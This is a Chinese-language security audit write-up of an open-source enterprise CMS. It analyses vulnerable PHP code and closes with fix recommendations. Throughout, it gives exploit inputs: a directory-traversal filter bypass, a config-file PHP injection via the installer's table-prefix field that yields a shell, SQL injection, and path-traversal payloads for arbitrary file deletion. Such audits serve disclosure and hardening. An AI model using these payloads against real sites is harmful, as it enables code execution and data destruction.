某开源企业站CMS审计报告
字数 1170 2025-08-29 08:32:30
某开源企业站CMS安全审计报告分析
前言
本文对某国产开源企业级CMS系统进行了详细的安全审计,发现了多个高危漏洞,包括重安装漏洞导致Getshell、SQL注入、任意文件删除等。以下是详细的分析过程和利用方法。
系统入口分析
入口文件index.php关键代码:
<?php
if( !file_exists(dirname(__FILE__) . "/include/config.db.php") ) {
header("Location:install/index.php");
exit();
}
require_once( "include/common.inc.php" );
$mod = str_replace( '../', '', $mod );
if( empty( $mod ) ) {
$mod = 'index';
}
$action_file = WEB_INCLUDE . '/action/' . $mod . '.php';
file_exists($action_file) && require_once($action_file);
$cls_tpl = cls_app:: get_template( $mod );
$cls_tpl->display();
?>
安全观察:
$mod = str_replace( '../', '', $mod );使用简单的字符串替换来防止目录穿越,但可以使用..././形式绕过- 文件包含限制后缀必须为
.php,且前缀固定,无法直接利用伪协议
全局变量注册问题
common.inc.php中存在全局变量注册:
$req_data = array();
foreach( array('_GET', '_POST', '_COOKIE') as $_request ) {
foreach(
$$
_request as $_k => $_v ) {
${$_k} = _get_request($_v);
if( '_COOKIE' != $_request ) {
$req_data[$_k] = _get_request($_v);
}
}
}
unset($_GET, $_POST);
风险:
- 将GET、POST、COOKIE参数注册为全局变量,可能导致变量覆盖漏洞
重安装漏洞(Getshell)
漏洞位置
install_action.php中的安装完成处理:
function install_end() {
//安装收尾
//把安装文件的名字换了
@rename('index.php', 'index.php_bak');
}
问题:
- 只重命名了前端文件,后端逻辑文件仍然存在
- 知道安装文件位置即可重新安装
配置文件写入漏洞
install_action.php中的数据库配置写入:
function write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre) {
global $db_code;
$db_config = "";
$db_config .= "<?php\n\n";
$db_config .= "\$db_type = '" . $db_type . "';\n";
$db_config .= "\$db_host = '" . $db_host . "';\n";
$db_config .= "\$db_name = '" . $db_name . "';\n";
$db_config .= "\$db_pass = '" . $db_pass . "';\n";
$db_config .= "\$db_table = '" . $db_table . "';\n";
$db_config .= "\$db_ut = '" . $db_code . "';\n";
$db_config .= "\$db_tablepre = '" . $db_tablepre . "';\n\n";
$db_config .= "?>";
require_once("../include/class/class.file.php");
$cls_file = new cls_file('../include/config.db.php');
$cls_file-> set_text($db_config);
return $cls_file-> write();
}
利用方法:
通过控制tablepre参数注入PHP代码:
tablepre=dcr_qy_';?><?php phpinfo()?>
影响:
- 写入的配置文件会被所有页面包含,相当于后门
- 可执行任意PHP代码
SQL注入漏洞
install_action.php中存在直接拼接SQL语句:
$db_table = $_POST['table'];
$sql_db_exists = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='$db_table'";
风险:
- 直接拼接用户输入到SQL语句,导致SQL注入
任意文件删除漏洞
漏洞1:文件管理功能
fmanage_action.php中文件删除功能未过滤路径:
action=del_file&cpath=../../../../../../../1.txt
利用方法:
通过控制cpath参数删除任意文件
漏洞2:cls_dir类中的删除功能
cache_clear.php引用了cls_dir类:
$cls_dir = new cls_dir();
$cls_dir-> delete_dir( WEB_CACHE . "/template/{$tpl_dir}" );
利用方法:
通过控制tpl_dir参数删除任意目录
失败的审计尝试
数据库连接控制
db.class.php中的构造函数:
function __construct( $db_type, $db_host, $db_name, $db_pass, $db_table, $db_ut ) {
$this->db_type = $db_type;
$this->host = $db_host;
$this->name = $db_name;
$this->pass = $db_pass;
$this->table = $db_table;
$this->ut = $db_ut;
if( !$this->conn ) {
$this->connect();
}
}
潜在利用思路:
- 如果能控制类实例化参数,可控制数据库连接
- 结合MySQL任意文件读取漏洞
- 但审计发现实例化参数不可控
SMTP服务SSRF尝试
class.email.php中的SMTP连接:
function smtp_ok() {
$response = str_replace("\r\n", "", fgets($this->sock, 512));
if (!ereg("^[23]", $response)) {
fputs($this->sock, "QUIT\r\n");
fgets($this->sock, 512);
cls_app::log("Error: Remote host returned \"" . $response . "\"\n");
return false;
}
return true;
}
限制:
- 目标服务必须在连接时返回以2或3开头的响应
- 大多数内网服务不满足此条件
总结与修复建议
高危漏洞总结
-
重安装漏洞导致Getshell
- 安装后未完全删除安装文件
- 配置文件写入未过滤PHP代码
-
SQL注入
- 直接拼接用户输入到SQL语句
-
任意文件删除
- 两处未过滤的文件/目录删除操作
修复建议
- 安装完成后完全删除安装目录
- 配置文件写入时过滤特殊字符或使用序列化存储
- 所有SQL查询使用参数化查询
- 文件操作前验证路径合法性
- 禁用全局变量注册功能
- 加强输入过滤,特别是文件路径相关操作
参考
CMS官网: http://www.dcrcms.com/